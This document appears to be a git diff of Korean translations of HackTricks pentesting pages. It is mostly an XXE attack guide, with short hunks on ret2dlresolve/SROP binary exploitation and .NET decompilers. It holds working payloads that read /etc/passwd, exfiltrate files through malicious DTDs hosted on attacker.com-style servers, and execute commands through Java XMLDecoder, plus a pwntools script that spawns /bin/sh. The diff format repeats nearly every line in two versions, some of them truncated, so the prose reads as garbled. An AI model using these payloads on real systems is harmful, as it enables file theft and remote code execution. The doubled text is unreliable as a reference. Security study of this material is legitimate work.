**Java** 기반 애플리케이션에서는 XXE를 통해 **디렉토리의 내용을 나열**할 수 있을지도 모릅니다. 페이로드는 다음과 같이 파일 대신 디렉토리를 요청하는 것입니다:
**Java** 기반 애플리케이션에서는 XXE를 통해 **디렉토리의 내용을 나열**할 수 있는 가능성이 있으며, 다음과 같은 페이로드를 사용할 수 있습니다 (파일 대신 디렉토리를 요청하는 경우):
```xml
<!-- Root / -->
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE aa[<!ELEMENT bb ANY><!ENTITY xxe SYSTEM "file:///">]><root><foo>&xxe;</foo></root>
@ -83,7 +83,7 @@ XXE는 클라우드 내에서 SSRF를 악용하는 데 사용될 수 있습니
```
### Blind SSRF
이 **이전에 언급된 기술**을 사용하여 서버가 당신이 제어하는 서버에 접근하게 하여 취약성을 보여줄 수 있습니다. 그러나, 만약 그것이 작동하지 않는다면, 아마도 **XML 엔티티가 허용되지 않기 때문**일 수 있습니다. 이 경우 **XML 파라미터 엔티티**를 사용해 볼 수 있습니다:
이전에 언급된 기술을 사용하여 서버가 당신이 제어하는 서버에 접근하게 하여 취약성을 보여줄 수 있습니다. 그러나, 만약 그것이 작동하지 않는다면, 아마도 **XML 엔티티가 허용되지 않기 때문**일 수 있습니다. 이 경우 **XML 파라미터 엔티티**를 사용해 볼 수 있습니다:
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [ <!ENTITY % xxe SYSTEM "http://gtd8nhwxylcik0mt2dgvpeapkgq7ew.burpcollaborator.net"> %xxe; ]>
@ -111,9 +111,9 @@ XXE는 클라우드 내에서 SSRF를 악용하는 데 사용될 수 있습니
- 또 다른 XML 매개변수 엔티티인 `%eval`이 정의됩니다. 이는 동적으로 새로운 XML 매개변수 엔티티인 `%exfiltrate`를 선언합니다. `%exfiltrate` 엔티티는 공격자의 서버에 HTTP 요청을 하도록 설정되며, URL의 쿼리 문자열 내에서 `%file` 엔티티의 내용을 전달합니다.
2. **엔티티 실행:**
- `%eval` 엔티티가 사용되어 `%exfiltrate` 엔티티의 동적 선언이 실행됩니다.
- 그 후 `%exfiltrate` 엔티티가 사용되어 파일의 내용을 포함한 HTTP 요청이 지정된 URL로 전송됩니다.
- 그 후 `%exfiltrate` 엔티티가 사용되어 파일의 내용을 포함한 지정된 URL로 HTTP 요청이 발생합니다.
공격자는 이 악성 DTD를 자신이 제어하는 서버에 호스팅하며, 일반적으로 `http://web-attacker.com/malicious.dtd`와 같은 URL에 위치합니다.
공격자는 이 악성 DTD를 자신이 제어하는 서버에 호스팅하며, 일반적으로 `http://web-attacker.com/malicious.dtd`와 같은 URL에서 호스팅합니다.
**XXE 페이로드:** 취약한 애플리케이션을 악용하기 위해 공격자는 XXE 페이로드를 전송합니다:
```xml
@ -121,18 +121,18 @@ XXE는 클라우드 내에서 SSRF를 악용하는 데 사용될 수 있습니
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://web-attacker.com/malicious.dtd"> %xxe;]>
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>
```
이 페이로드는 XML 매개변수 엔티티 `%xxe`를 정의하고 이를 DTD에 통합합니다. XML 파서에 의해 처리될 때, 이 페이로드는 공격자의 서버에서 외부 DTD를 가져옵니다. 그런 다음 파서는 DTD를 인라인으로 해석하고, 악의적인 DTD에 설명된 단계를 실행하여 `/etc/hostname` 파일을 공격자의 서버로 유출합니다.
이 페이로드는 XML 매개변수 엔티티 `%xxe`를 정의하고 이를 DTD에 통합합니다. XML 파서에 의해 처리될 때, 이 페이로드는 공격자의 서버에서 외부 DTD를 가져옵니다. 그런 다음 파서는 DTD를 인라인으로 해석하고, 악의적인 DTD에 설명된 단계를 실행하여 `/etc/hostname` 파일을 공격자의 서버로 유출합니다.
### 오류 기반(외부 DTD)
**이 경우, 서버가 오류 메시지 내에 파일의 내용을 표시하는 악의적인 DTD를 로드하도록 만들 것입니다(이는 오류 메시지를 볼 수 있는 경우에만 유효합니다).** [**여기서 예시.**](https://portswigger.net/web-security/xxe/blind)
**이 경우, 서버가 오류 메시지 내에 파일의 내용을 표시하는 악의적인 DTD를 로드하도록 만들 것입니다(이는 오류 메시지를 볼 수 있는 경우에만 유효합니다).** [**여기서 예시.**](https://portswigger.net/web-security/xxe/blind)
악의적인 외부 문서 유형 정의(DTD)를 사용하여 `/etc/passwd` 파일의 내용을 드러내는 XML 파싱 오류 메시지를 유발할 수 있습니다. 이는 다음 단계로 수행됩니다:
악의적인 외부 문서 유형 정의(DTD)를 사용하여 `/etc/passwd` 파일의 내용을 드러내는 XML 파싱 오류 메시지를 트리거할 수 있습니다. 이는 다음 단계로 수행됩니다:
1. `file`이라는 XML 매개변수 엔티티가 정의되며, 이 엔티티는 `/etc/passwd` 파일의 내용을 포함합니다.
2. `eval`이라는 XML 매개변수 엔티티가 정의되며, 이는 `error`라는 다른 XML 매개변수 엔티티에 대한 동적 선언을 포함합니다. 이 `error` 엔티티는 평가될 때 존재하지 않는 파일을 로드하려고 시도하며, `file` 엔티티의 내용을 이름으로 포함합니다.
1. `/etc/passwd` 파일의 내용을 포함하는 `file`이라는 XML 매개변수 엔티티가 정의니다.
2. `eval`이라는 XML 매개변수 엔티티가 정의되며, 이는 `error`라는 다른 XML 매개변수 엔티티에 대한 동적 선언을 포함합니다. 이 `error` 엔티티는 평가될 때 존재하지 않는 파일을 로드하려고 시도하며, `file` 엔티티의 내용을 이름으로 포함합니다.
3. `eval` 엔티티가 호출되어 `error` 엔티티의 동적 선언이 이루어집니다.
4. `error` 엔티티의 호출은 존재하지 않는 파일을 로드하려고 시도하여, `/etc/passwd` 파일의 내용을 파일 이름의 일부로 포함하는 오류 메시지를 생성합니다.
4. `error` 엔티티의 호출은 존재하지 않는 파일을 로드하려고 시도하여, 파일 이름의 일부로 `/etc/passwd` 파일의 내용을 포함하는 오류 메시지를 생성합니다.
악의적인 외부 DTD는 다음 XML로 호출될 수 있습니다:
```xml
@ -140,19 +140,19 @@ XXE는 클라우드 내에서 SSRF를 악용하는 데 사용될 수 있습니
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://web-attacker.com/malicious.dtd"> %xxe;]>
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>
```
실행 시, 웹 서버의 응답에는 `/etc/passwd` 파일의 내용을 표시하는 오류 메시지가 포함되어야 합니다.
웹 서버의 응답에는 `/etc/passwd` 파일의 내용을 표시하는 오류 메시지가 포함되어야 합니다.
![](<../images/image (809).png>)
_**외부 DTD는 두 번째 안에 하나의 엔티티를 포함할 수 있게 해주지만 (\*\***`eval`\***\*), 내부 DTD에서는 금지됩니다. 따라서 외부 DTD를 사용하지 않고는 오류를 강제할 수 없습니다 (보통).**_
_**외부 DTD는 두 번째 안에 하나의 엔티티를 포함할 수 있게 해주지만 (\*\***`eval`\***\*), 내부 DTD에서는 금지됩니다. 따라서 외부 DTD를 사용하지 않고는 오류를 강제할 수 없습니다(일반적으로).**_
### **오류 기반 (시스템 DTD)**
그렇다면 **외부 연결이 차단된** 경우 블라인드 XXE 취약점은 어떻게 됩니까?
그렇다면 **외부 연결이 차단된** 블라인드 XXE 취약점은 어떻게 될까요?
XML 언어 사양의 허점은 **문서의 DTD가 내부 및 외부 선언을 혼합할 때 오류 메시지를 통해 민감한 데이터를 노출할 수 있습니다**. 이 문제는 외부에서 선언된 엔티티의 내부 재정의를 허용하여 오류 기반 XXE 공격의 실행을 용이하게 합니다. 이러한 공격은 외부 DTD에서 원래 선언된 XML 매개변수 엔티티의 재정의를 악용합니다. 서버에 의해 외부 연결이 차단되면 공격자는 공격을 수행하기 위해 로컬 DTD 파일에 의존해야 하며, 민감한 정보를 드러내기 위해 구문 오류를 유도하는 것을 목표로 합니다.
서버의 파일 시스템에 `/usr/local/app/schema.dtd`에 DTD 파일이 포함되어 있고, `custom_entity`라는 엔티티를 정의하고 있다고 가정해 보십시오. 공격자는 다음과 같이 하이브리드 DTD를 제출하여 `/etc/passwd` 파일의 내용을 드러내는 XML 구문 오류를 유도할 수 있습니다:
서버의 파일 시스템에 `/usr/local/app/schema.dtd`에 DTD 파일이 포함되어 있고, `custom_entity`라는 엔티티를 정의한다고 가정해 보겠습니다. 공격자는 다음과 같이 하이브리드 DTD를 제출하여 `/etc/passwd` 파일의 내용을 드러내는 XML 구문 오류를 유도할 수 있습니다:
```xml
<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/local/app/schema.dtd">
@ -168,8 +168,8 @@ XML 언어 사양의 허점은 **문서의 DTD가 내부 및 외부 선언을
이 DTD에 의해 설명된 단계가 실행됩니다:
- `local_dtd`라는 XML 매개변수 엔티티의 정의에는 서버의 파일 시스템에 위치한 외부 DTD 파일이 포함됩니다.
- 외부 DTD에서 원래 정의된 `custom_entity` XML 매개변수 엔티티에 대한 재정의가 발생하여 [오류 기반 XXE 익스플로잇](https://portswigger.net/web-security/xxe/blind#exploiting-blind-xxe-to-retrieve-data-via-error-messages)을 캡슐화합니다. 이 재정의는 구문 오류를 유발하도록 설계되어 `/etc/passwd` 파일의 내용을 노출합니다.
- `local_dtd` 엔티티를 사용하여 외부 DTD가 활성화되고 새로 정의된 `custom_entity`가 포함됩니다. 이 일련의 작업은 익스플로잇을 위해 목표로 하는 오류 메시지를 발생시킵니다.
- 외부 DTD에서 원래 정의된 `custom_entity` XML 매개변수 엔티티에 대한 재정의가 발생하여 [오류 기반 XXE 익스플로잇](https://portswigger.net/web-security/xxe/blind#exploiting-blind-xxe-to-retrieve-data-via-error-messages)을 캡슐화합니다. 이 재정의는 구문 오류를 유도하여 `/etc/passwd` 파일의 내용을 노출하도록 설계되었습니다.
- `local_dtd` 엔티티를 사용하여 외부 DTD가 활성화되고 새로 정의된 `custom_entity`가 포함됩니다. 이 일련의 작업은 익스플로잇 목표로 하는 오류 메시지를 발생시킵니다.
**실제 사례:** GNOME 데스크탑 환경을 사용하는 시스템은 종종 `/usr/share/yelp/dtd/docbookx.dtd``ISOamso`라는 엔티티가 포함된 DTD를 가지고 있습니다.
```xml
@ -188,7 +188,7 @@ XML 언어 사양의 허점은 **문서의 DTD가 내부 및 외부 선언을
```
![](<../images/image (625).png>)
이 기술은 **내부 DTD를 사용하므로 먼저 유효한 DTD를 찾아야 합니다**. 이를 위해 **서버가 사용하는 동일한 OS / 소프트웨어를 설치하고** **일부 기본 DTD를 검색하거나**, **시스템 내의 기본 DTD 목록을 가져와서** **그 중 어떤 것이 존재하는지 확인할 수 있습니다**:
이 기술은 **내부 DTD를 사용하므로 먼저 유효한 DTD를 찾아야 합니다**. 이를 위해 **서버가 사용하는 동일한 OS / 소프트웨어를 설치하고** **일부 기본 DTD를 검색하거나**, **시스템 내의 기본 DTD 목록을 가져와서** **그 중 어떤 것이 존재하는지 확인**할 수 있습니다:
```xml
<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
@ -201,9 +201,11 @@ XML 언어 사양의 허점은 **문서의 DTD가 내부 및 외부 선언을
다음의 멋진 github 레포지토리에서 **시스템에 존재할 수 있는 DTD의 경로**를 찾을 수 있습니다:
{% embed url="https://github.com/GoSecure/dtd-finder/tree/master/list" %}
{{#ref}}
https://github.com/GoSecure/dtd-finder/tree/master/list
{{#endref}}
또한, **피해자 시스템의 Docker 이미지**가 있다면, 같은 레포지토리의 도구를 사용하여 **이미지**를 **스캔**하고 시스템 내에 존재하는 **DTD의 경로**를 **찾을** 수 있습니다. 방법을 배우려면 [github의 Readme](https://github.com/GoSecure/dtd-finder)를 읽어보세요.
게다가, **피해자 시스템의 Docker 이미지**가 있다면, 같은 레포지토리의 도구를 사용하여 **이미지**를 **스캔**하고 **시스템 내에 존재하는 DTD의 경로**를 **찾을** 수 있습니다. 방법을 배우려면 [github의 Readme](https://github.com/GoSecure/dtd-finder)를 읽어보세요.
```bash
java -jar dtd-finder-1.2-SNAPSHOT-all.jar /tmp/dadocker.tar
@ -217,9 +219,9 @@ Testing 0 entities : []
```
### XXE via Office Open XML Parsers
이 공격에 대한 더 깊 설명은 **Detectify의** [**이 놀라운 게시물**](https://labs.detectify.com/2021/09/15/obscure-xxe-attacks/)의 두 번째 섹션을 **확인하세요**.
이 공격에 대한 더 깊이 있는 설명은 **Detectify의** [**이 놀라운 게시물**](https://labs.detectify.com/2021/09/15/obscure-xxe-attacks/)의 두 번째 섹션을 **확인하세요**.
**Microsoft Office 문서 업로드 기능은 많은 웹 애플리케이션에서 제공됩니다**, 이후 이 문서에서 특정 세부 정보를 추출합니다. 예를 들어, 웹 애플리케이션은 사용자가 XLSX 형식의 스프레드시트를 업로드하여 데이터를 가져오는 것을 허용할 수 있습니다. 파서가 스프레드시트에서 데이터를 추출하기 위해서는 반드시 하나 이상의 XML 파일을 파싱해야 합니다.
**Microsoft Office 문서 업로드할 수 있는 기능은 많은 웹 애플리케이션에서 제공됩니다**, 이후 이 문서에서 특정 세부 정보를 추출합니다. 예를 들어, 웹 애플리케이션은 사용자가 XLSX 형식의 스프레드시트를 업로드하여 데이터를 가져오는 것을 허용할 수 있습니다. 파서가 스프레드시트에서 데이터를 추출하기 위해서는 반드시 하나 이상의 XML 파일을 파싱해야 합니다.
이 취약점을 테스트하기 위해서는 **XXE 페이로드가 포함된 Microsoft Office 파일을 생성해야 합니다**. 첫 번째 단계는 문서를 압축 해제할 수 있는 빈 디렉토리를 만드는 것입니다.
@ -243,13 +245,13 @@ jar:https://download.host.com/myarchive.zip!/file.txt
PKZIP 아카이브 내의 파일에 접근하는 과정은 여러 단계를 포함합니다:
1. 지정된 위치에서 zip 아카이브를 다운로드하기 위해 HTTP 요청이 이루어집니다, 예를 들어 `https://download.website.com/archive.zip`.
2. 아카이브를 포함하는 HTTP 응답이 시스템에 임시로 저장되며, 일반적으로 `/tmp/...`와 같은 위치에 저장됩니다.
1. 지정된 위치에서 zip 아카이브를 다운로드하기 위해 HTTP 요청이 이루어집니다, 예: `https://download.website.com/archive.zip`.
2. 아카이브를 포함하는 HTTP 응답이 시스템에 임시로 저장됩니다, 일반적으로 `/tmp/...`와 같은 위치에 저장됩니다.
3. 아카이브가 추출되어 그 내용을 접근합니다.
4. 아카이브 내의 특정 파일인 `file.zip`이 읽힙니다.
5. 작업 후, 이 과정에서 생성된 임시 파일은 삭제됩니다.
이 과정의 두 번째 단계에서 이 프로세스를 중단하는 흥미로운 기술은 아카이브 파일을 제공할 때 서버 연결을 무한정 열어두는 것입니다. [이 저장소](https://github.com/GoSecure/xxe-workshop/tree/master/24_write_xxe/solution)에서 사용할 수 있는 도구들, 예를 들어 Python 서버(`slow_http_server.py`)와 Java 서버(`slowserver.jar`)가 이 목적에 활용될 수 있습니다.
이 과정의 두 번째 단계에서 이 프로세스를 중단하는 흥미로운 기술은 아카이브 파일을 제공할 때 서버 연결을 무한정 열어두는 것입니다. [이 저장소](https://github.com/GoSecure/xxe-workshop/tree/master/24_write_xxe/solution)에서 사용할 수 있는 도구에는 Python 서버(`slow_http_server.py`)와 Java 서버(`slowserver.jar`)가 포함됩니다.
```xml
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "jar:http://attacker.com:8080/evil.zip!/evil.dtd">]>
<foo>&xxe;</foo>
@ -310,7 +312,7 @@ Responder.py -I eth0 -v
서버 측 XML 문서에 클라이언트 데이터를 통합할 때, 백엔드 SOAP 요청과 같은 경우, XML 구조에 대한 직접적인 제어는 종종 제한되어 `DOCTYPE` 요소를 수정하는 데 제한이 있어 전통적인 XXE 공격이 어려워집니다. 그러나 `XInclude` 공격은 XML 문서의 모든 데이터 요소 내에 외부 엔티티를 삽입할 수 있도록 하여 해결책을 제공합니다. 이 방법은 서버에서 생성된 XML 문서 내의 데이터 일부만 제어할 수 있는 경우에도 효과적입니다.
`XInclude` 공격을 실행하려면 `XInclude` 네임스페이스를 선언하고 의도된 외부 엔티티의 파일 경로를 지정해야 합니다. 아래는 러한 공격을 어떻게 구성할 수 있는지에 대한 간결한 예입니다:
`XInclude` 공격을 실행하려면 `XInclude` 네임스페이스를 선언하고 의도된 외부 엔티티의 파일 경로를 지정해야 합니다. 아래는 러한 공격을 어떻게 구성할 수 있는지에 대한 간결한 예입니다:
```xml
productId=<foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="text" href="file:///etc/passwd"/></foo>&storeId=1
```
@ -320,7 +322,7 @@ Check [https://portswigger.net/web-security/xxe](https://portswigger.net/web-sec
사용자가 특정 애플리케이션에 업로드한 파일은 서버에서 처리되며, XML 또는 XML을 포함하는 파일 형식이 처리되는 방식의 취약점을 악용할 수 있습니다. 오피스 문서(DOCX) 및 이미지(SVG)와 같은 일반적인 파일 형식은 XML을 기반으로 합니다.
사용자가 **이미지를 업로드할 때**, 이러한 이미지는 서버 측에서 처리되거나 검증됩니다. PNG 또는 JPEG와 같은 형식을 기대하는 애플리케이션의 경우에도 **서버의 이미지 처리 라이브러리 SVG 이미지를 지원할 수 있습니다**. XML 기반 형식인 SVG는 공격자가 악성 SVG 이미지를 제출하여 서버를 XXE(XML External Entity) 취약점에 노출시킬 수 있습니다.
사용자가 **이미지를 업로드할 때**, 이러한 이미지는 서버 측에서 처리되거나 검증됩니다. PNG 또는 JPEG와 같은 형식을 기대하는 애플리케이션에**서버의 이미지 처리 라이브러리 SVG 이미지를 지원할 수 있습니다**. XML 기반 형식인 SVG는 공격자가 악성 SVG 이미지를 제출하여 서버를 XXE(XML External Entity) 취약점에 노출시킬 수 있습니다.
아래는 시스템 파일을 읽으려는 악성 SVG 이미지의 예시입니다:
```xml
@ -332,7 +334,7 @@ Check [https://portswigger.net/web-security/xxe](https://portswigger.net/web-sec
<image xlink:href="expect://ls"></image>
</svg>
```
SVG 형식은 서버 소프트웨어의 XML 처리 기능을 악용하는 공격을 시작하는 데 사용되며, 이는 강력한 입력 검증 및 보안 조치의 필요성을 강조합니다.
SVG 형식은 서버 소프트웨어의 XML 처리 기능을 악용하는 공격을 시작하는 데 사용되며, 강력한 입력 검증 및 보안 조치의 필요성을 강조합니다.
자세한 정보는 [https://portswigger.net/web-security/xxe](https://portswigger.net/web-security/xxe)를 확인하세요!
@ -356,7 +358,7 @@ Content-Length: 7
foo=bar
```
그럼 다음 요청을 제출할 수 있을 것입니다. 결과는 동일합니다:
그럼 다음 요청을 제출할 수 있을 것입니다. 같은 결과를 얻을 수 있습니다:
```xml
POST /action HTTP/1.0
Content-Type: text/xml
@ -402,7 +404,7 @@ Content-Type: application/xml;charset=UTF-8
```xml
<!DOCTYPE test [ <!ENTITY % init SYSTEM "data://text/plain;base64,ZmlsZTovLy9ldGMvcGFzc3dk"> %init; ]><foo/>
```
이것은 XML 서버가 `data://` 프로토콜을 수용할 때만 작동합니다.
이것은 XML 서버가 `data://` 프로토콜을 수용하는 경우에만 작동합니다.
### UTF-7
@ -420,15 +422,15 @@ Content-Type: application/xml;charset=UTF-8
```
### File:/ 프로토콜 우회
웹이 PHP를 사용하고 있다면, `file:/` 대신 **php wrappers**`php://filter/convert.base64-encode/resource=`를 사용하여 **내부 파일**에 **접근**할 수 있습니다.
웹이 PHP를 사용하고 있다면, `file:/` 대신 **php wrappers**`php://filter/convert.base64-encode/resource=`를 사용하여 **내부 파일**에 접근할 수 있습니다.
웹이 Java를 사용하고 있다면 [**jar: 프로토콜**](xxe-xee-xml-external-entity.md#jar-protocol)을 확인할 수 있습니다.
### HTML 엔티티
[**https://github.com/Ambrotd/XXE-Notes**](https://github.com/Ambrotd/XXE-Notes)에서의 트릭\
**html 엔티티**로 인코딩하여 **엔티티 안에 엔티티**를 생성한 다음, 이를 호출하여 **dtd를 로드**할 수 있습니다.\
사용되는 **HTML 엔티티**는 **숫자**여야 합니다 (예를 들어 \[이 예제에서\]([https://gchq.github.io/CyberChef/#recipe=To_HTML_Entity%28true,'Numeric entities'%29\&input=PCFFTlRJVFkgJSBkdGQgU1lTVEVNICJodHRwOi8vMTcyLjE3LjAuMTo3ODc4L2J5cGFzczIuZHRkIiA%2B)\\](<https://gchq.github.io/CyberChef/#recipe=To_HTML_Entity%28true,%27Numeric%20entities%27%29&input=PCFFTlRJVFkgJSBkdGQgU1lTVEVNICJodHRwOi8vMTcyLjE3LjAuMTo3ODc4L2J5cGFzczIuZHRkIiA%2B)%5C>)).
**html 엔티티**로 인코딩 **엔티티 안에 엔티티**를 생성한 다음, 이를 호출하여 **dtd를 로드**할 수 있습니다.\
사용되는 **HTML 엔티티**는 **숫자**여야 한다는 점에 유의하세요 (예를 들어 \[이 예제에서\]([https://gchq.github.io/CyberChef/#recipe=To_HTML_Entity%28true,'Numeric entities'%29\&input=PCFFTlRJVFkgJSBkdGQgU1lTVEVNICJodHRwOi8vMTcyLjE3LjAuMTo3ODc4L2J5cGFzczIuZHRkIiA%2B)\\](<https://gchq.github.io/CyberChef/#recipe=To_HTML_Entity%28true,%27Numeric%20entities%27%29&input=PCFFTlRJVFkgJSBkdGQgU1lTVEVNICJodHRwOi8vMTcyLjE3LjAuMTo3ODc4L2J5cGFzczIuZHRkIiA%2B)%5C>)).
```xml
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE foo [<!ENTITY % a "&#x3C;&#x21;&#x45;&#x4E;&#x54;&#x49;&#x54;&#x59;&#x25;&#x64;&#x74;&#x64;&#x53;&#x59;&#x53;&#x54;&#x45;&#x4D;&#x22;&#x68;&#x74;&#x74;&#x70;&#x3A;&#x2F;&#x2F;&#x6F;&#x75;&#x72;&#x73;&#x65;&#x72;&#x76;&#x65;&#x72;&#x2E;&#x63;&#x6F;&#x6D;&#x2F;&#x62;&#x79;&#x70;&#x61;&#x73;&#x73;&#x2E;&#x64;&#x74;&#x64;&#x22;&#x3E;" >%a;%dtd;]>
<data>
@ -474,7 +476,7 @@ DTD 예:
이 예시는 [https://pwn.vg/articles/2021-06/local-file-read-via-error-based-xxe](https://pwn.vg/articles/2021-06/local-file-read-via-error-based-xxe)에서 영감을 받았습니다.
XLIFF (XML Localization Interchange File Format)는 로컬라이제이션 프로세스에서 데이터 교환을 표준화하는 데 사용됩니다. 이는 주로 로컬라이제이션 중 도구 간에 로컬라이즈 가능한 데이터를 전송하고 CAT (Computer-Aided Translation) 도구를 위한 공통 교환 형식으로 사용되는 XML 기반 형식입니다.
XLIFF (XML Localization Interchange File Format)는 현지화 프로세스에서 데이터 교환을 표준화하는 데 사용됩니다. 이는 주로 현지화 중 도구 간에 지역화 가능한 데이터를 전송하고 CAT (Computer-Aided Translation) 도구를 위한 공통 교환 형식으로 사용되는 XML 기반 형식입니다.
### Blind Request Analysis
@ -498,7 +500,7 @@ Content-Type: application/x-xliff+xml
"message": "Error systemId: http://redacted.burpcollaborator.net/?xxe_test; The markup declarations contained or pointed to by the document type declaration must be well-formed."
}
```
오류에도 불구하고, 외부 엔티티와의 상호작용이 어느 정도 있음을 나타내는 히트가 Burp Collaborator에 기록됩니다.
오류에도 불구하고, 외부 엔티티와의 상호작용이 어느 정도 있음을 나타내는 Burp Collaborator에서 히트가 기록됩니다.
Out of Band Data Exfiltration 데이터를 유출하기 위해 수정된 요청이 전송됩니다:
```
@ -521,7 +523,7 @@ Error-Based Data Exfiltration 이 제한을 극복하기 위해 Error-Based 접
%foo;
%xxe;
```
서버는 오류로 응답하며, 중요하게도 존재하지 않는 파일을 반영하 서버가 지정된 파일에 접근하려고 시도하고 있음을 나타냅니다:
서버는 오류로 응답하며, 중요하게도 존재하지 않는 파일을 반영하고, 서버가 지정된 파일에 접근하려고 시도하고 있음을 나타냅니다:
```javascript
{"status":500,"error":"Internal Server Error","message":"IO error.\nReason: /nofile (No such file or directory)"}
```
@ -540,7 +542,7 @@ XXE 취약점을 악용하기 위한 RSS 형식의 유효한 XML.
### Ping back
공격자의 서버로 간단한 HTTP 요청
공격자의 서버로 간단한 HTTP 요청
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE title [ <!ELEMENT title ANY >
@ -607,7 +609,7 @@ PHP base64 필터 사용
```
## Java XMLDecoder XEE to RCE
XMLDecoder는 XML 메시지를 기반으로 객체를 생성하는 Java 클래스입니다. 악의적인 사용자가 애플리케이션이 **readObject** 메서드 호출에 임의의 데이터를 사용하도록 할 수 있다면, 그는 즉시 서버에서 코드 실행 권한을 얻게 됩니다.
XMLDecoder는 XML 메시지를 기반으로 객체를 생성하는 Java 클래스입니다. 악의적인 사용자가 **readObject** 메서드 호출에 임의의 데이터를 사용하도록 애플리케이션을 유도할 수 있다면, 그는 즉시 서버에서 코드 실행 권한을 얻게 됩니다.
### Using Runtime().exec()
```xml
@ -669,11 +671,13 @@ XMLDecoder는 XML 메시지를 기반으로 객체를 생성하는 Java 클래
</void>
</java>
```
## 도구
## Tools
{% embed url="https://github.com/luisfontes19/xxexploiter" %}
{{#ref}}
https://github.com/luisfontes19/xxexploiter
{{#endref}}
## 참고자료
## References
- [https://media.blackhat.com/eu-13/briefings/Osipov/bh-eu-13-XML-data-osipov-slides.pdf](https://media.blackhat.com/eu-13/briefings/Osipov/bh-eu-13-XML-data-osipov-slides.pdf)\\
- [https://web-in-security.blogspot.com/2016/03/xxe-cheat-sheet.html](https://web-in-security.blogspot.com/2016/03/xxe-cheat-sheet.html)\\
@ -684,5 +688,4 @@ XMLDecoder는 XML 메시지를 기반으로 객체를 생성하는 Java 클래
- [https://portswigger.net/web-security/xxe](https://portswigger.net/web-security/xxe)\\
- [https://gosecure.github.io/xxe-workshop/#7](https://gosecure.github.io/xxe-workshop/#7)
{{#include ../banners/hacktricks-training.md}}

View File

@ -10,14 +10,16 @@
따라서 요청된 기호(예: **`system`** 함수)를 동적으로 연결된 해결을 위해 **모든 이러한 구조체를 위조**하고 구성된 매개변수(예: **`system('/bin/sh')`**)로 호출할 수 있습니다.
일반적으로 이러한 모든 구조체는 **쓰기 가능한 메모리에서 `read`를 호출하는 초기 ROP 체인을 만들어 위조**됩니다. 그런 다음 **구조체**와 문자열 **`'/bin/sh'`**가 알려진 위치에 저장되도록 읽기에 의해 전달되고, 이후 ROP 체인은 **`_dl_runtime_resolve`**를 호출하여 `$'/bin/sh'`의 주소를 사용하여 계속됩니다.
일반적으로 이러한 모든 구조체는 **쓰기 가능한 메모리에서 `read`를 호출하는 초기 ROP 체인을 만들어 위조**됩니다. 그런 다음 **구조체**와 문자열 **`'/bin/sh'`**가 알려진 위치에 저장되도록 읽기 위해 전달되고, 이후 ROP 체인은 **`_dl_runtime_resolve`**를 `$'/bin/sh'`의 주소로 호출하여 계속됩니다.
> [!TIP]
> 이 기술은 syscall 가젯이 없고([**ret2syscall**](rop-syscall-execv.md) 또는 [SROP](srop-sigreturn-oriented-programming.md)와 같은 기술을 사용할 수 없는 경우) libc 주소를 유출할 방법이 없을 때 특히 유용합니다.
이 기술에 대한 더 나은 설명은 비디오의 후반부에서 찾을 수 있습니다:
{% embed url="https://youtu.be/ADULSwnQs-s?feature=shared" %}
{{#ref}}
https://youtu.be/ADULSwnQs-s?feature=shared
{{#endref}}
## Structures
@ -25,9 +27,9 @@
## Attack Summary
1. 가짜 구조체를 어딘가에 작성
1. 가짜 구조체를 어딘가에 작성합니다.
2. system의 첫 번째 인수 설정 (`$rdi = &'/bin/sh'`)
3. **`_dl_runtime_resolve`**를 호출하기 위해 스택에 구조체의 주소 설정
3. **`_dl_runtime_resolve`**를 호출하기 위해 스택에 구조체의 주소 설정합니다.
4. **Call** `_dl_runtime_resolve`
5. **`system`**이 해결되고 `'/bin/sh'`를 인수로 호출됩니다.
@ -55,7 +57,7 @@ p.sendline(dlresolve.payload) # now the read is called and we pass all the re
p.interactive()
```
## 참고문헌
## 참고 문헌
- [https://youtu.be/ADULSwnQs-s](https://youtu.be/ADULSwnQs-s?feature=shared)
- [https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve](https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve)

View File

@ -11,7 +11,7 @@
흥미로운 점은 **`sigreturn`**이 프로그램의 상태를 복원하는 방법입니다: 이는 **모든 CPU의 레지스터 값을 스택에 저장**함으로써 이루어집니다. 신호가 더 이상 차단되지 않으면, **`sigreturn`은 이 값을 스택에서 팝**하여 CPU의 레지스터를 신호가 처리되기 전의 상태로 효과적으로 재설정합니다. 여기에는 현재 스택의 맨 위를 가리키는 스택 포인터 레지스터(RSP)가 포함됩니다.
> [!CAUTION]
> ROP 체인에서 **`sigreturn`** syscall을 호출하고 **로드하고 싶은 레지스터 값**을 **스택**에 추가하면 모든 레지스터 값을 **제어**할 수 있으며, 따라서 예를 들어 `execve` syscall을 `/bin/sh`로 호출할 수 있습니다.
> ROP 체인에서 syscall **`sigreturn`**을 호출하고 **스택에 로드할 레지스터 값**을 추가하면 모든 레지스터 값을 **제어**할 수 있으며, 따라서 예를 들어 syscall `execve``/bin/sh`로 **호출**할 수 있습니다.
이것이 다른 Ret2syscall을 호출하기 위한 매개변수를 제어하는 데 훨씬 더 쉽게 만드는 **Ret2syscall의 일종**이라는 점에 유의하십시오:
@ -19,9 +19,11 @@
rop-syscall-execv.md
{{#endref}}
더 나은 설명을 위해 다음도 확인하십시오:
더 나은 설명을 원하시면 다음도 확인하세요:
{% embed url="https://youtu.be/ADULSwnQs-s?feature=shared" %}
{{#ref}}
https://youtu.be/ADULSwnQs-s?feature=shared
{{#endref}}
## Example

View File

@ -40,7 +40,7 @@ dotPeek는 **라이브러리** (.dll), **Windows 메타데이터 파일** (.winm
- 코드, 서드파티 구성 요소 및 라이브러리에서 오류의 정확한 위치를 추적합니다.
- 작업하는 모든 .NET 코드의 소스에서 디버깅합니다.
### [ILSpy](https://github.com/icsharpcode/ILSpy) & [dnSpy](https://github.com/dnSpy/dnSpy/releases)
